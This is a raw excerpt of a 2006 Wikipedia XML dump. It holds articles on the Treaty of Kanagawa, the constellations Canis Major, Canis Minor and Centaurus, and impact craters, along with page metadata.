[[Shogun]] was the de-facto ruler of Japan at that time.  For the Emperor to interact in any way with foreigners was out of the question.  

After the '''Treaty of Kanagawa''' was concluded, similar treaties were negotiated by the [[Russians]] and the [[British Empire|British]].

This treaty was followed by the 1858 &quot;unequal&quot; [[U.S.-Japan Treaty of Amity and Commerce]] allowing the establishment of foreign concessions, extra-territoriality for foreigners, and minimal import taxes for foreign goods.

==See also==
*[[Anglo-Japanese Friendship Treaty]]
*[[History of Japan]]

==External links==
* [http://web.jjay.cuny.edu/~jobrien/reference/ob58.html The Treaty of Amity and Commerce Between the United States and Japan, 1858 (The Harris Treaty)] (full text)

[[Category:Japan history of foreign relations]]
[[Category:United States treaties]]
[[Category:Treaties]]
[[Category:Edo period]]

{{Japan-hist-stub}}
{{US-hist-stub}}

[[de:Konvention von Kanagawa]]
[[es:Tratado de Kanagawa]]
[[fr:Convention de Kanagawa]]
[[id:Persetujuan Kanagawa]]
[[ja:日米和親条約]]</text>
    </revision>
  </page>
  <page>
    <title>Canis Major</title>
    <id>6366</id>
    <revision>
      <id>39020007</id>
      <timestamp>2006-02-10T04:06:54Z</timestamp>
      <contributor>
        <username>GrinBot</username>
        <id>411872</id>
      </contributor>
      <minor />
      <comment>robot  Adding: hu</comment>
      <text xml:space="preserve">{{Infobox Constellation|
name = Canis major |
abbreviation = CMa |
genitive = Canis Majoris |
symbology = the Greater Dog |
RA = 7 |
dec= &amp;minus;20 |
areatotal = 380 |
arearank = 43rd |
numberstars = 5 |
starname = [[Sirius]] (&amp;alpha; CMa) |
starmagnitude = &amp;minus;1.46 |
meteorshowers = None |
bordering =
*[[Monoceros]]
*[[Lepus (constellation)|Lepus]]
*[[Columba (constellation)|Columba]]
*[[Puppis]] |
latmax = 60 |
latmin = 90 |
month = February |
notes=}}
'''Canis Major''' ([[Latin]] for ''the greater [[dog]]'') is one of the 88 modern [[constellation]]s, and was also in [[Ptolemy]]'s list of 48 constellations. It is said to represent one of the dogs following [[Orion (mythology)|Orion]] the hunter (see also the constellations of [[Orion (constellation)|Orion]], [[Canis Minor]], and [[Canes Venatici]].) Canis Major contains [[Sirius]], the [[List of brightest stars|brightest star]] in the night sky, and that star is part of the [[Winter Triangle]].

== Notable features ==
Canis Major's alpha star [[Sirius]] is the brightest star besides the [[Sun]] as seen from [[Earth]]. It is also one of the [[List of nearest stars|nearest]]. The star's name means ''scorching'', since the summer heat occurred just after Sirius' [[heliacal rising]]. The [[Ancient Greece|Ancient Greeks]] referred to such times in the summer as ''dog days'', as only dogs would be mad enough to go out in the heat, leading to the star being known as the ''Dog Star''. Consequently, the constellation was named after it, as a ''Big Dog''.

Other named stars in Canis Major (all names from Arabic):
*[[Beta Canis Majoris|&amp;beta; CMa]]: Murzim
*[[Gamma Canis Majoris|&amp;gamma; CMa]]: Muliphen
*[[Delta Canis Majoris|&amp;delta; CMa]]: Wezen
*[[Epsilon Canis Majoris|&amp;epsilon; CMa]]: Adhara
*[[Zeta Canis Majoris|&amp;zeta; CMa]]: Furud
*[[Eta Canis Majoris|&amp;eta; CMa]]: Aludra

== Notable deep sky objects ==
There aren't many bright [[deep sky object]]s in this region of sky. The only [[Messier object]] in Canis Major is [[Messier Object 41|M41]] ([[NGC 2287]]), an [[open cluster]] of [[visual magnitude]] 4.6. It is located about 4 degrees directly south of Sirius.

[[Canis Major (dwarf galaxy)|Canis Major Dwarf]] is a recently-discovered [[dwarf galaxy]] orbiting the [[Milky Way]], in the constellation.


== Mythology ==
This constellation was known to the easterners from the time immemorial. In early European classical days, this constellation represented Laelaps, [[Acteon]]'s hound; or sometimes the hound of Procris, [[Diana (goddess)|Diana's]] nymph; or the one given by [[Eos|Aurora]] to Cephalus, so famed for its speed that [[Zeus]] elevated it to the sky. Most commonly, Canis Major (or perhaps just the star Sirius) is Orion's hunting dog, pursuing [[Lepus (constellation)|Lepus]] the [[hare]] or helping Orion fight [[Taurus (constellation)|Taurus]] the [[bull]], and is referred to in this way by [[Aratos]], [[Homer]] and [[Hesiod]]. The [[ancient Greece|ancient Greeks]] refer only to one dog, but by [[ancient Rome|Roman]] times, [[Canis Minor]] appears as Orion's second dog.

Roman myth also refers to Canis Major as ''Custos Europae'', the dog guarding [[Europa (mythology)|Europa]] but failing to prevent her abduction by [[Jupiter (god)|Jupiter]] in the form of a bull; and as ''[[Cerberus|Janitor Lethaeus]]'', the watchdog of [[Hell]].

Depending on the faintness of stars considered, Canis Major resembles a dog facing either above or below the [[ecliptic]]. When facing below, since Sirius was considered a dog in its own right, early greek mythology sometimes considered it to be two headed. As such, together with the area of the sky that is deserted (now considered as the new and extremely faint constellations [[Camelopardalis]] and [[Lynx (constellation)|Lynx]]), and the other features of the area in the [[Zodiac]] sign of [[Gemini]] (i.e. the [[Milky Way]], and the constellations [[Gemini]], [[Orion constellation|Orion]], [[Auriga (constellation)|Auriga]], and [[Canis Minor]]), this may be the origin of the myth of the cattle of [[Geryon]], which forms one of [[The Twelve Labours]] of [[Herakles]].

==Stars==
:Stars with proper names:
:* (9/&amp;alpha; CMa) &amp;minus;1.44  '''[[Sirius]]''' or '''Dog Star''' or '''''Aschere''''' or '''''Canicula''''' &amp;ndash; brightest star; double; nearby
:*: &lt; s&amp;#299;rius &lt; &amp;#963;&amp;#949;&amp;#943;&amp;#961;&amp;#953;&amp;#959;&amp;#962;  Brilliant
:*: &lt; &amp;#1575;&amp;#1604;&amp;#1588;&amp;#1593;&amp;#1585;&amp;#1609;  ''aš-ši’r&amp;#257;'' Sirius
:*: &lt; ''can&amp;#299;cula'' The dog
:* ([[Beta Canis Majoris|2/&amp;beta; CMa]]) 1.98 '''Murzim''' [Murzam, Mirzim, ''Mirza'']
:*: &lt; ? ''al-murzim''  The roarer (lion)/announcer [announcing Sirius]

:* ([[Gamma Canis Majoris|23/&amp;gamma; CMa]]) 4.11 '''Muliphein''' [Muliphen] or '''''Isis'''''
:*: &lt;  &amp;#1605;&amp;#1581;&amp;#1604;&amp;#1601;&amp;#1610;&amp;#1606;  ''mu&amp;#295;lifayn''  (The star) sworn by [by two?]

:* ([[Delta Canis Majoris|25/&amp;delta; CMa]]) 1.83 '''Wezen''' [''Alwazn, Wesen, Al Wazor'']
:*: &lt;  &amp;#1575;&amp;#1604;&amp;#1608;&amp;#1586;&amp;#1606;  ''al-wazn''  The weight

:* ([[Epsilon Canis Majoris|21/&amp;epsilon; CMa]]) 1.50 '''Adhara''' [''Adara'']
:*: &lt;  &amp;#1593;&amp;#1584;&amp;#1575;&amp;#1585;&amp;#1609;  ''&lt;sup&gt;c&lt;sup&gt;að&amp;#257;r&amp;#257;''  (The) maidens

:* ([[Zeta Canis Majoris|1/&amp;zeta; CMa]]) 3.02 '''Furud''' [''Phurud'']
:*: &lt; &amp;#1601;&amp;#1585;&amp;#1583;  ''al-furud''  The solitary ones

:* ([[Eta Canis Majoris|31/&amp;eta; CMa]])  2.45 '''Aludra'''
:*: &lt; &amp;#1575;&amp;#1604;&amp;#1593;&amp;#1584;&amp;#1585;&amp;#1577;  ''al-&lt;sup&gt;c&lt;sup&gt;uðrah''  Maidenhood
:Stars with Bayer designations:
:: [[Theta Canis Majoris|14/&amp;theta; CMa]] 4.08; [[Iota Canis Majoris|20/&amp;iota; CMa]] 4.36; [[Kappa Canis Majoris|13/&amp;kappa; CMa]] 4.36; [[Lambda Canis Majoris|&amp;lambda; CMa]] 4.47; [[Nu1 Canis Majoris|6/&amp;nu;&lt;sup&gt;1&lt;/sup&gt; CMa]] 5.71; [[Nu2 Canis Majoris|7/&amp;nu;&lt;sup&gt;2&lt;/sup&gt; CMa]] 3.95; [[Nu3 Canis Majoris|8/&amp;nu;&lt;sup&gt;3&lt;/sup&gt; CMa]] 4.42; [[Xi1 Canis Majoris|4/&amp;xi;&lt;sup&gt;1&lt;/sup&gt; CMa]] 4.34; [[Xi2 Canis Majoris|5/&amp;xi;&lt;sup&gt;2&lt;/sup&gt; CMa]] 4.54; [[Omicron1 Canis Majoris|16/&amp;omicron;&lt;sup&gt;1&lt;/sup&gt; CMa]] 3.89; [[Omicron2 Canis Majoris|24/&amp;omicron;&lt;sup&gt;2&lt;/sup&gt; CMa]] 3.02; [[Pi Canis Majoris|19/&amp;pi; CMa]] 4.66; [[Sigma Canis Majoris|22/&amp;sigma; CMa]] 3.49; [[Tau Canis Majoris|30/&amp;tau; CMa]] 4.37; [[Omega Canis Majoris|28/&amp;omega; CMa]] 4.01
:Stars with Flamsteed designations:
:: [[10 Canis Majoris|10 CMa]] 5.23; [[11 Canis Majoris|11 CMa]] 5.28; [[12 Canis Majoris|12 CMa]] 6.07; [[15 Canis Majoris|15 CMa]] 4.82; [[17 Canis Majoris|17 CMa]] 5.80; [[26 Canis Majoris|26 CMa]] 5.91; [[27 Canis Majoris|27 CMa]] 4.42; [[29 Canis Majoris|29/UW CMa]] 4.88

{{ConstellationsListedByPtolemy}}
{{ConstellationList}}
{{ConstellationsRoyerAltered}}

== Other uses of the name ==
The [[astronomer]] [[Leslie Peltier]] had a [[dog]] named Canis Major.

== External links ==
{{Commons|Canis Major}}
* [http://www.allthesky.com/constellations/canismajor/ The Deep Photographic Guide to the Constellations: Canis Major]
[[Category:Canis Major constellation| ]]

[[ca:Ca Major]]
[[cs:Velký pes (souhvězdí)]]
[[da:Store Hund]]
[[de:Großer Hund]]
[[es:Canis Major]]
[[fa:سگ بزرگ]]
[[fr:Grand Chien]]
[[ga:An Madra Mór]]
[[ko:큰개자리]]
[[id:Canis Major]]
[[it:Canis Major]]
[[he:כלב גדול]]
[[la:Canis Maior (sidus)]]
[[lt:Didysis Šuo]]
[[hu:Nagy Kutya (csillagkép)]]
[[nl:Grote Hond]]
[[ja:おおいぬ座]]
[[nn:Store hund]]
[[pl:Wielki Pies]]
[[pt:Canis Major]]
[[ru:Большой Пёс (созвездие)]]
[[sk:Súhvezdie Veľký pes]]
[[fi:Iso koira]]
[[sv:Stora hunden]]
[[th:กลุ่มดาวหมาใหญ่]]
[[zh:大犬座]]</text>
    </revision>
  </page>
  <page>
    <title>Canis Minor</title>
    <id>6367</id>
    <revision>
      <id>41857693</id>
      <timestamp>2006-03-02T04:37:38Z</timestamp>
      <contributor>
        <username>Kuru</username>
        <id>764407</id>
      </contributor>
      <comment>revert: test</comment>
      <text xml:space="preserve">{{Infobox Constellation|
name = Canis minor |
abbreviation = CMi |
genitive = Canis Minoris |
symbology = the Smaller Dog |
RA = 8 |
dec= +5 |
areatotal = 183 |
arearank = 71st |
numberstars = 2 |
starname = [[Procyon]] (&amp;alpha; CMi) |
starmagnitude = 0.38 |
meteorshowers =
*[[Canis-Minorids]] |
bordering =
*[[Monoceros]]
*[[Gemini]]
*[[Cancer (constellation)|Cancer]]
*[[Hydra (constellation)|Hydra]] |
latmax = 85 |
latmin = 75 |
month = March |
notes=}}
'''Canis Minor''' ([[Latin]] for ''little [[dog]]'') is one of the 88 modern [[constellation]]s, and was also in [[Ptolemy]]'s list of 48 constellations. It is said to represent one of the dogs following [[Orion (mythology)|Orion]] the hunter.

==Notable features==

Canis Minor is a small constellation mainly consisting of the two stars, [[Procyon]] (&amp;alpha; CMi / Alpha Canis Minoris, 0.38&lt;sup&gt;m&lt;/sup&gt;) and [[Gomeisa]] (&amp;beta; CMi / Beta Canis Minoris), 2.9&lt;sup&gt;m&lt;/sup&gt;). Procyon is the eighth [[List of brightest stars|brightest star]] in the night sky. Procyon means &quot;anterior dog&quot; in [[Greek language|Greek]], as it rises before the Dog Star, [[Sirius]], of [[Canis Major]].

==Notable deep sky objects==

Being such a small constellation, Canis Minor has no deep sky object brighter than 10 Mag.

==Mythology==

Canis Minor was considered to be the smaller of the two hunting dogs of Orion. However, the ancient Greeks did not recognise it as a distinct constellation, and thus originally only considered Orion to have had one dog. See also the constellations of [[Orion (constellation)|Orion]] and [[Canis Major]].

==Stars==
:Stars with proper names:

:* (10/&amp;alpha; CMi) 0.40 '''[[Procyon]]''' or '''''Antecanis''''' or '''''Al Shira''''' or '''''Elgomaisa''''' [''Algomeysa''] &amp;ndash; double; nearby
:*: &lt; &amp;#960;&amp;#961;&amp;#959;&amp;#954;&amp;#973;&amp;#959;&amp;#957;  The fore-dog [before the Dog Star]
:* ([[Beta Canis Minoris|3/&amp;beta; CMi]]) 2.89 '''Gomeisa''' [''Algomeyla, Gomelza'']
:*: &lt; &amp;#1575;&amp;#1604;&amp;#1594;&amp;#1605;&amp;#1610;&amp;#1587;&amp;#1575;&amp;#1569; ''al-ghumaisa’''  The bleary-eyed (woman)
:Stars with Bayer designations:
:: [[Gamma Canis Minoris|4/&amp;gamma; CMi]] 4.33; [[Delta1 Canis Minoris|7/&amp;delta;&lt;sup&gt;1&lt;/sup&gt; CMi]] 5.24; [[Delta2 Canis Minoris|8/&amp;delta;&lt;sup&gt;2&lt;/sup&gt; CMi]] 5.59; [[Delta3 Canis Minoris|9/&amp;delta;&lt;sup&gt;3&lt;/sup&gt; CMi]] 5.83; [[Epsilon Canis Minoris|2/&amp;epsilon; CMi]] 4.99; [[Zeta Canis Minoris|13/&amp;zeta; CMi]] 5.12; [[Eta Canis Minoris|5/&amp;eta; CMi]] 5.22; [[G Canis Minoris|G CMi]] 4.39
:Stars with Flamsteed designations:
:: [[1 Canis Minoris|1 CMi]] 5.37; [[6 Canis Minoris|6 CMi]] 4.55; [[11 Canis Minoris|11 CMi]] 5.25; [[14 Canis Minoris|14 CMi]] 5.30

{{ConstellationsListedByPtolemy}}
{{ConstellationList}}

== External links ==
{{Commons|Canis Minor}}
* [http://www.allthesky.com/constellations/monoceros/ The Deep Photographic Guide to the Constellations: Canis Minor]
[[Category:Canis Minor constellation| ]]

[[ca:Ca Menor]]
[[cs:Malý pes (souhvězdí)]]
[[da:Lille Hund]]
[[de:Kleiner Hund]]
[[es:Canis Minor]]
[[fa:دب اصغر]]
[[fr:Petit Chien]]
[[ga:An Madra Beag]]
[[ko:작은개자리]]
[[id:Canis Minor]]
[[it:Canis Minor]]
[[la:Canis Minor (sidus)]]
[[lt:Mažasis Šuo]]
[[hu:Kis Kutya (csillagkép)]]
[[nl:Kleine Hond]]
[[ja:こいぬ座]]
[[nn:Vesle hund]]
[[pl:Mały Pies]]
[[ro:Câinele Mic (constelaţie)]]
[[ru:Малый Пёс (созвездие)]]
[[sk:Súhvezdie Malý pes]]
[[fi:Pieni koira]]
[[th:กลุ่มดาวหมาเล็ก]]</text>
    </revision>
  </page>
  <page>
    <title>Choshu</title>
    <id>6368</id>
    <revision>
      <id>15904517</id>
      <timestamp>2004-02-03T12:57:31Z</timestamp>
      <contributor>
        <username>Takanoha</username>
        <id>37611</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Nagato Province]]</text>
    </revision>
  </page>
  <page>
    <title>Centaurus</title>
    <id>6371</id>
    <revision>
      <id>41590364</id>
      <timestamp>2006-02-28T09:48:22Z</timestamp>
      <contributor>
        <username>Montrealais</username>
        <id>3378</id>
      </contributor>
      <text xml:space="preserve">{{otheruses}}
{{Infobox Constellation|
name = Centaurus |
abbreviation = Cen |
genitive = Centauri |
symbology = the [[Centaur]]|
RA = 13 |
dec= &amp;minus;50 |
areatotal = 1060 |
arearank = 9th |
numberstars = 10 |
starname = [[Alpha Centauri]] (&amp;alpha; Cen) |
starmagnitude = &amp;minus;0.01 |
meteorshowers =
*[[Alpha Centaurids]]
*[[Omicron Centaurids]]
*[[Theta Centaurids]] |
bordering =
*[[Antlia]]
*[[Carina (constellation)|Carina]]
*[[Circinus]]
*[[Crux]]
*[[Hydra (constellation)|Hydra]]
*[[Libra]] (corner)
*[[Lupus (constellation)|Lupus]]
*[[Musca]]
*[[Vela (constellation)|Vela]] |
latmax = 30 |
latmin = 90 |
month = May |
notes=}}
'''Centaurus''' ([[Latin]] for ''[[centaur]]'') was one of the 48 [[constellation]]s listed by [[Ptolemy]], and counts also among the 88 modern constellations. This [[celestial sphere|southern]] constellation is [[list of constellations by area|one of the largest]] in the sky.

== Notable features ==

Centaurus is a bright constellation of the southern hemisphere.

It contains [[Proxima Centauri]], a [[red dwarf]] that is the nearest known [[star]] (other than the [[Sun]]) to [[Earth]], as well as [[Alpha Centauri]], which is a [[binary star]] to which Proxima Centauri is apparently gravitationally bound to form a [[triple star system]].

It also contains [[BPM 37093]], which is estimated to be a degenerate [[star]], consisting of crystalline carbon.

== Notable deep sky objects ==

It also contains [[Omega Centauri]], the brightest [[globular cluster]] in the sky.

One of the deep-sky objects in Centaurus is the [[Boomerang nebula]], the coldest location (1&amp;nbsp;[[kelvin]], &amp;minus;272&amp;deg;C) known to science.

== History ==

It was mentioned by [[Eudoxus of Cnidus|Eudoxus]] (4th&amp;nbsp;century&amp;nbsp;B.C.) and [[Aratus]] (3rd&amp;nbsp;century&amp;nbsp;B.C.), Ptolemy catalogued thirty-seven stars in it.

== Mythology ==

The constellation, when including fainter stars visible to the naked eye, resembles a stick man with the back end of a horse attached [http://borghetto.astrofili.org/costellazioni/centaurus.JPG]. According to [[Greek mythology]], the constellation is [[Chiron]] who was a wise [[centaur]] (half-man, half-horse) known as a tutor to [[Jason]] (the leader of the Argonauts), and tutor to [[Herakles]] (a demi-god).

Centaurus is sometimes associated with the constellation [[Sagitta]], an arrow which Centaurus appears to have fired towards the constellation [[Aquila (constellation)|Aquila]]. As such, together with the constellation [[Lupus (constellation) | Lupus]], and the fact that Centaurus is below the ecliptic, this may have formed the basis of the myth of the [[Erymanthian Boar]], one of [[The Twelve Labours]] of [[Herakles]].

When the sun is in the sign of [[Virgo]], it sits directly above the constellation [[Centaurus]]. The Greeks considered that the [[centaur]] [[Chiron]], who was accidentally poisoned and died due to Herakles, while herakles took a detour from hunting the Erymanthian Boar, was put in the sky as a mark of pity. 

The constellation [[Lupus (constellation) | Lupus]] is next after Centaurus in the sun's transit, and was to the Greeks an arbitrary hunted animal (''Therion'')- it became a wolf under the [[Roman mythology|Romans]]. Centaurus appears to have fired an arrow, the constellation [[Sagitta]], towards [[Aquila (constellation)|Aquila]], the eagle that tortured [[Prometheus]], thus appearing to release Prometheus from his torment. Centaurus is also under the [[ecliptic]], and thus considered to be in the underworld.

==Stars==
:Stars with proper names:
:* (&amp;alpha; Cen) '''[[Alpha Centauri]]''' or '''Rigel Kentaurus''' [Rigilkent] or '''''Toliman''''' &amp;ndash; triple; closest star system
:*: [[Alpha Centauri A]] -0.01
:*: [[Alpha Centauri B]] 1.35
:*: '''[[Proxima Centauri]]''' (&amp;alpha; Cen C) 11.05 &amp;ndash; closest star; flare star
:* ([[Beta Centauri|&amp;beta; Cen]]) 0.61 '''Hadar''' or '''Agena'''
:*: &lt; ? ''hadar''  settled land, ground? 

:* ([[Gamma Centauri|&amp;gamma; Cen]]) 2.20 '''''Muhlifain'''''
:*: &lt;  &amp;#1605;&amp;#1581;&amp;#1604;&amp;#1601;&amp;#1610;&amp;#1606;  ''mu&amp;#295;lifayn''  (The star) sworn by [by two?]

:* ([[Zeta Centauri|&amp;zeta; Cen]]) 2.55 '''''Alnair''''' [''Alnair al Batn al Kentaurus'']
:*: &lt; &amp;#1575;&amp;#1604;&amp;#1576;&amp;#1591;&amp;#1606; &amp;#1575;&amp;#1604;&amp;#1606;&amp;#1575;&amp;#1610;&amp;#1585;  ''al-ba&amp;#355;n[u] an-nayyir'' The bright stomach [of Centaurus]

:* ([[Theta Centauri|&amp;theta; Cen]]) 2.06 '''Menkent'''
:*: &lt; &amp;#1605;&amp;#1606;&amp;#1603;&amp;#1576; ''mankib'' [fused with &quot;Kentaurus&quot; to form ''men-kent''?]

:* ([[Kappa Centauri|&amp;kappa; Cen]]) 3.13 '''''Ke Kwan'''''
:*: &lt; &amp;#39438;&amp;#23448; (Mandarin ''qígu&amp;#257;n'')  The cavalry officer
:Stars with Bayer designations:
:: [[Delta Centauri|&amp;delta; Cen]] 2.58; [[Epsilon Centauri|&amp;epsilon; Cen]] 2.29; [[Eta Centauri|&amp;eta; Cen]] 2.33; [[Iota Centauri|&amp;iota; Cen]] 2.75; [[Lambda Centauri|&amp;lambda; Cen]] 3.11; [[Mu Centauri|&amp;mu; Cen]] 3.47; [[Nu Centauri|&amp;nu; Cen]] 3.41; [[Xi1 Centauri|ksi01 Cen]] 4.83; [[Xi2 Centauri|ksi02 Cen]] 4.27; [[Omicron1 Centauri|&amp;omicron;&lt;sup&gt;1&lt;/sup&gt; Cen]] 5.07; [[Omicron2 Centauri|&amp;omicron;&lt;sup&gt;2&lt;/sup&gt; Cen]] 5.12; [[Pi Centauri|&amp;pi; Cen]] 3.90; [[Rho Centauri|&amp;rho; Cen]] 3.97; [[Sigma Centauri|&amp;sigma; Cen]] 3.91; [[Tau Centauri|&amp;tau; Cen]] 3.85; [[Upsilon1 Centauri|&amp;upsilon;&lt;sup&gt;1&lt;/sup&gt; Cen]] 3.87; [[Upsilon2 Centauri|&amp;upsilon;&lt;sup&gt;2&lt;/sup&gt; Cen]] 4.34; [[Chi Centauri|chi Cen]] 4.36; [[Phi Centauri|phi Cen]] 3.83; [[Psi Centauri|psi Cen]] 4.05; [[Omega Centauri|&amp;omega; Cen]] &amp;ndash; actually a [[globular cluster]]; [[a Centauri|a Cen]] 4.41; [[b Centauri|b Cen]] 4.01; [[c1 Centauri|c&lt;sup&gt;1&lt;/sup&gt; Cen]] 4.06; [[c2 Centauri|c&lt;sup&gt;2&lt;/sup&gt; Cen]] 4.92; [[d Centauri|d Cen]] 3.90; [[e Centauri|e Cen]] 4.33; [[f Centauri|f Cen]] 4.71; [[2 Centauri|2/g Cen]] 4.19; [[4 Centauri|4/h Cen]] 4.75; [[1 Centauri|1/i Cen]] 4.23; [[j Centauri|j Cen]] 4.30; [[3 Centauri|3/k Cen]] &amp;ndash; double 4.32, 6.06; [[l Centauri|l Cen]] 4.63; [[m Centauri|m Cen]] 4.52; [[n Centauri|n Cen]] 4.25; [[p Centauri|p Cen]] 4.90; [[r Centauri|r Cen]] 5.10; [[u Centauri|u Cen]] 5.45; [[v Centauri|v Cen]] 4.30; [[w Centauri|w Cen]] 4.66; [[x1 Centauri|x&lt;sup&gt;1&lt;/sup&gt; Cen]] 5.32; [[x2 Centauri|x&lt;sup&gt;2&lt;/sup&gt; Cen]] 5.71; [[y Centauri|y Cen]] 5.53; [[z Centauri|z Cen]] 5.15; [[A Centauri|A Cen]] 4.62; [[B Centauri|B Cen]] 4.47; [[C1 Centauri|C&lt;sup&gt;1&lt;/sup&gt; Cen]] 5.64; [[C2 Centauri|C&lt;sup&gt;2&lt;/sup&gt; Cen]] 5.26; [[C3 Centauri|C&lt;sup&gt;3&lt;/sup&gt; Cen]] 5.46; [[D Centauri|D Cen]] 5.31; [[E Centauri|E Cen]] 5.34; [[F Centauri|F Cen]] 5.01; [[G Centauri|G Cen]] 4.82; [[H Centauri|H Cen]] 5.17; [[J Centauri|J Cen]] 4.52; [[K Centauri|K Cen]] 5.04; [[M Centauri|M Cen]] 4.64; [[N Centauri|N Cen]] 5.26; [[Q Centauri|Q Cen]] 4.99
:Stars with Flamsteed designations:
:: [[89 Centauri|89 Cen]] 6.51
:Other notable stars:
:* [[BPM 37093]] 13.96 &amp;ndash; white dwarf, variable
:* [[HD 102117]] 7.47 &amp;ndash; has a planet
:* [[HD 117618]] 7.18 &amp;ndash; has a planet

{{ConstellationsListedByPtolemy}}
{{ConstellationsChangedByBayer}}
{{ConstellationsNLDLAltered}}
{{ConstellationList}}

== External links ==
{{Commons|Centaurus}}
* [http://www.allthesky.com/constellations/centaurus/ The Deep Photographic Guide to the Constellations: Centaurus]
[[Category:Centaurus constellation| ]]

[[ca:Centaure (constel·lació)]]
[[cs:Kentaur (souhvězdí)]]
[[da:Kentauren]]
[[de:Zentaur (Sternbild)]]
[[es:Centaurus]]
[[fr:Centaure (constellation)]]
[[gl:Centaurus]]
[[ko:켄타우루스자리]]
[[id:Centaurus]]
[[it:Centaurus]]
[[he:קנטאור (קבוצת כוכבים)]]
[[la:Centaurus (sidus)]]
[[lt:Kentauras (astronomija)]]
[[hu:Kentaur (csillagkép)]]
[[nl:Centaur (sterrenbeeld)]]
[[ja:ケンタウルス座]]
[[nn:Kentauren]]
[[pl:Centaur (gwiazdozbiór)]]
[[pt:Centaurus]]
[[ru:Центавр (созвездие)]]
[[sk:Súhvezdie Kentaur]]
[[sv:Kentauren]]
[[th:กลุ่มดาวคนครึ่งม้า]]
[[zh:半人马座]]</text>
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      <comment>Added to Category:Obsolete_list_of_encyclopedia_topics</comment>
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      <comment>Added to Category:Obsolete_list_of_encyclopedia_topics</comment>
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      <comment>Added to Category:Obsolete_list_of_encyclopedia_topics</comment>
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      <comment>Added to Category:Obsolete_list_of_encyclopedia_topics</comment>
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      <comment>Added to Category:Obsolete_list_of_encyclopedia_topics</comment>
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      <comment>Added to Category:Obsolete_list_of_encyclopedia_topics</comment>
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      <comment>Added to Category:Obsolete_list_of_encyclopedia_topics</comment>
      <text xml:space="preserve">This (now-obsolete) page contains (in its history) important documentation of the early stages of Wikipedia. Please '''do not''' delete.

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      <comment>Added to Category:Obsolete_list_of_encyclopedia_topics</comment>
      <text xml:space="preserve">This (now-obsolete) page contains (in its history) important documentation of the early stages of Wikipedia. Please '''do not''' delete.

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      <comment>Added to Category:Obsolete_list_of_encyclopedia_topics</comment>
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      <comment>Added to Category:Obsolete_list_of_encyclopedia_topics</comment>
      <text xml:space="preserve">This (now-obsolete) page contains (in its history) important documentation of the early stages of Wikipedia. Please '''do not''' delete.

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      <comment>Added to Category:Obsolete_list_of_encyclopedia_topics</comment>
      <text xml:space="preserve">This (now-obsolete) page contains (in its history) important documentation of the early stages of Wikipedia. Please '''do not''' delete.

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      <comment>Added to Category:Obsolete_list_of_encyclopedia_topics</comment>
      <text xml:space="preserve">This (now-obsolete) page contains (in its history) important documentation of the early stages of Wikipedia. Please '''do not''' delete.

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      <comment>Added to Category:Obsolete_list_of_encyclopedia_topics</comment>
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        <username>Pearle</username>
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      </contributor>
      <comment>Added to Category:Obsolete_list_of_encyclopedia_topics</comment>
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        <username>Pearle</username>
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      <comment>Added to Category:Obsolete_list_of_encyclopedia_topics</comment>
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    <title>Wikipedia:Complete list of encyclopedia topics (obsolete)/basic vocabulary</title>
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      <comment>Added to Category:Obsolete_list_of_encyclopedia_topics</comment>
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  <page>
    <title>Impact crater</title>
    <id>6416</id>
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      <id>41513965</id>
      <timestamp>2006-02-27T21:46:12Z</timestamp>
      <contributor>
        <username>Wetman</username>
        <id>21492</id>
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      <comment>/* External links */</comment>
      <text xml:space="preserve">[[Image:mooncrater.jpg|thumb|300px|[[Tycho (crater)|Tycho crater]] on [[Planet Earth|Earth's]] [[moon]]. ''[[NASA]]&amp;nbsp;photo.'']]

An '''impact crater''' ('''impact basin''' or sometimes '''crater''') is a circular [[depression (geology)|depression]] on a surface, usually referring to a [[planet]], [[natural satellite|moon]], [[asteroid]], or other celestial body, caused by a collision of a smaller body ([[meteor]]) with the surface.  

Ancient craters whose relief has disappeared leaving only a &quot;ghost&quot; of a crater are known as [[palimpsest]]s.  Although it might be assumed that a major impact on the Earth would leave behind absolutely unmistakable evidence, in fact the gradual processes that change the surface of the Earth tend to cover the effects of impacts. [[Erosion]] by wind and water, deposits of wind-blown sand and water-carried [[sediment]], and lava flows in due time tend to obscure or bury the craters left by impacts. Simple slumping of weak crustal material can also play a role, especially on outer solar system bodies such as [[Callisto (moon)|Callisto]] which are covered in a crust of ice.

However, some evidence remains, and over 150 major craters have been identified on the Earth. Studies of these craters have allowed [[Geology |geologists]] to find the remaining traces of other craters that have mostly been obliterated. Impact craters are found on nearly all solid surface planets and satellites.  As the
number of impact craters increases on a surface, the appearance of the surfaces changes; this can be used to establish the age of extraterrestrial terrain. After a period of time, however, an equilibrium is reached in which old craters are destroyed as quickly as new craters form.

==History==

[[Image:MeteorCraterPanorama.jpg|thumb|left|300px|Meteor Crater in Arizona]]

[[Daniel Barringer]] (1860-1929) was one of the first to identify a geological structure as an impact crater, the Barringer [[Meteorite]] Crater (or the &quot;[[Barringer Crater|Meteor Crater]]&quot;) in [[Arizona]], but at the time his ideas were not widely accepted, and when they were, there was no recognition of the fact that Earth impacts are common in geological terms.

In the 1920s, the American geologist [[Walter H. Bucher]] studied a number of craters in the US. He concluded they had been created by some great explosive event, but believed they were the result of some massive volcanic eruption.  However, in 1936, the geologists [[John D. Boon]] and [[Claude C. Albritton Jr.]] revisited Bucher's studies and concluded the craters he studied were probably formed by impacts. 

The issue remained more or less speculative until the 1960s. A number of researchers, most notably [[Eugene M. Shoemaker]], conducted detailed studies of the craters that provided clear evidence that they had been created by impacts, identifying the shock-metamorphic effects uniquely associated with impacts, of which the most familiar is [[Shocked quartz]]. 

Armed with the knowledge of shock-metamorphic features, [[Carlyle S. Beals]] and colleagues at the [[Dominion Observatory]], ([[Victoria, British Columbia]], [[Canada]]), and [[Wolf von Engelhardt]] of the [[University of Tübingen]] in [[Germany]] began a methodical search for &quot;impact structures&quot;. By 1970, they had tentatively identified more than 50. 

Their work remained controversial, but the American [[Apollo program|Apollo]] Moon landings, which were in progress at the time, provided evidence of the rate of impact cratering on the [[Moon]]. Processes of erosion on the Moon are minimal and so craters persist almost indefinitely. Since the Earth could be expected to have roughly the same cratering rate as the Moon, it became clear that the Earth had suffered far more impacts than could be seen by counting evident craters.

The age of known impact craters on the Earth ranges from about a thousand (e.g. the [[Haviland crater]] in Kansas) to almost two billion years, though few older than 200 million years have been found, as geological processes tend to obliterate older ones. They are also selectively found in the [[craton|stable interior regions of continents]].  Few underwater craters have been discovered because of the difficulty of surveying the sea floor; the rapid rate of change of the ocean bottom; and the [[subduction zone|subduction of the ocean floor]] into the Earth's interior by processes of [[plate tectonics]]. 

